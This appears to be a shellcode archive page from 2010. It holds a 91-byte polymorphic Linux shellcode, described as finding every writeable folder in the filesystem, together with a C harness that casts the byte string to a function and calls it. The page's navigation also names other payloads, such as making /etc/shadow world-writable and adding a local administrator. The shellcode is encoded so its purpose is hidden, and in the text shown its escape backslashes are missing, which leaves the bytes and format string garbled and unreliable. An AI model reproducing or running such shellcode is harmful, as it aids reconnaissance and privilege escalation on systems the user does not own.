[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Find all writeable folder in filesystem linux polymorphic shellcode - 91 bytes
# Published : 2010-07-08
# Author :
# Previous Title : Linux/ARM chmod("/etc/shadow", 0777) Shellcode 35 Bytes
# Next Title : Allwin WinExec add new local administrator + ExitProcess Shellcode


/*
Title  : Find all writeable folder in filesystem linux polymorphic shellcode .
Name   : 91 bytes Find all writeable folder in filesystem linux polymorphic shellcode .
Date   : Sat Jun  17 21:27:03 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/

#include <stdio.h>

char shellcode[] = "xebx11x5ex31xc9xb1x43x80x6cx0exffx35x80xe9x01"
		   "x75xf6xebx05xe8xeaxffxffxffx95x66xf5x66x07xe5"
		   "x40x87x9dxa3x64xa8x9dx9dx64x64x97x9exbex18x87"
		   "x9dx62x98x98x98xbex16x87x20x3cx86x88xbex16x02"
		   "xb5x96x1dx29x34x34x34x9bx9exa3x99x55x64x55x62"
		   "xa9xaexa5x9ax55x99x55x62xa5x9axa7xa2x55x6cx6c"
		   "x6c";
		
int main(void)
{
	fprintf(stdout,"Length: %dn",strlen(shellcode));
	(*(void(*)()) shellcode)();
}